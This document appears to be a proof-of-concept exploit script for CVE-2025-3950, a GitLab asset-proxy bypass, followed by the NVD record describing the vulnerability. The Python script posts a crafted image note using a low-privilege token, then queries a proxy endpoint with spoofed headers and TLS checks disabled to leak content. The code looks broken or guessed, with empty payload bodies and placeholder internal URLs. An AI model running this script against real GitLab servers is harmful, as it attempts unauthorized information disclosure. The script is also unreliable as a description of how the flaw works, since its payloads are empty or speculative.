CVE-2025-3950

# CVE-2025-3950 PoC - GitLab Information Disclosure via Bypassed Asset Proxy # This PoC demonstrates the information disclosure through specially crafted image references import requests import urllib3 urllib3.disable_warnings() TARGET_GITLAB = "https://gitlab.example.com" ATTACKER_TOKEN = "your_low_privilege_access_token" PROJECT_ID = "target_project_id" def create_malicious_image_reference(): """ Create a specially crafted image that bypasses asset proxy protection The image contains path traversal or internal resource references """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: Create a new issue or comment with specially crafted image reference payload = { "id": PROJECT_ID, "issue_iid": 1, "body": "" } # Step 2: Alternatively, use wiki or markdown with bypassed proxy wiki_payload = { "id": PROJECT_ID, "format": "markdown", "content": "" } response = requests.post( f"{TARGET_GITLAB}/api/v4/projects/{PROJECT_ID}/issues/1/notes", json=payload, headers=headers, verify=False ) return response.json() def exploit_asset_proxy_bypass(): """ Exploit the asset proxy bypass to leak information """ # Crafted request that bypasses asset proxy validation exploit_url = f"{TARGET_GITLAB}/-/proxy?url=internal://leaked_resource" headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "X-Forwarded-Host": "internal", "Referer": f"{TARGET_GITLAB}/issues" } response = requests.get(exploit_url, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Successfully leaked information!") print(f"Content: {response.text[:500]}") return response.text else: print(f"[-] Exploitation failed with status: {response.status_code}") return None if __name__ == "__main__": print("CVE-2025-3950 - GitLab Asset Proxy Bypass Information Disclosure") print("Reference: https://gitlab.com/gitlab-org/gitlab/-/issues/537697") print("=" * 60) create_malicious_image_reference() exploit_asset_proxy_bypass()

{"cve": {"id": "CVE-2025-3950", "sourceIdentifier": "[email protected]", "published": "2026-01-09T10:15:46.310", "lastModified": "2026-01-21T19:19:06.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.3 before 18.5.5, 18.6 before 18.6.3, and 18.7 before 18.7.1 that could have allowed a user to leak certain information by referencing specially crafted images that bypass asset proxy protection."}, {"lang": "es", "value": "GitLab ha solucionado un problema en GitLab CE/EE que afectaba a todas las versiones desde la 10.3 anteriores a la 18.5.5, la 18.6 anteriores a la 18.6.3 y la 18.7 anteriores a la 18.7.1 que podría haber permitido a un usuario filtrar cierta información al referenciar imágenes especialmente diseñadas que eluden la protección de proxy de activos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-359"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "10.3.0", "versionEndExcluding": "18.5.5", "matchCriteriaId": "B364C44F-E8AE-46C6-AFF9-344B61B531D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "10.3.0", "versionEndExcluding": "18.5.5", "matchCriteriaId": "23F20E77-0F2B-4AD3-9186-9E25B96B7796"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.3", "matchCriteriaId": "2B9B2E1D-016E-45CF-80CD-7CC77A5B5576"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.3", "matchCriteriaId": "75013646-70F2-467E-B79E-9301338AB853"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.7.0", "versionEndExcluding": "18.7.1", "matchCriteriaId": "4FB8EB8C-1F4F-47E6-B1EB-5686613B75F9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.7.0", "versionEndExcluding": "18.7.1", "matchCriteriaId": "C43A7C18-65D0-4731-88A8-6BF6A33A1435"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/01/07/patch-release-gitlab-18-7-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/537697", "source": "[email protected]", "tags": ["Broken Link", "Issue Tracking"]}, {"url": "https://hackerone.com/reports/3106477", "source": "[email protected]", "tags": ["Permissions Required"]}]}}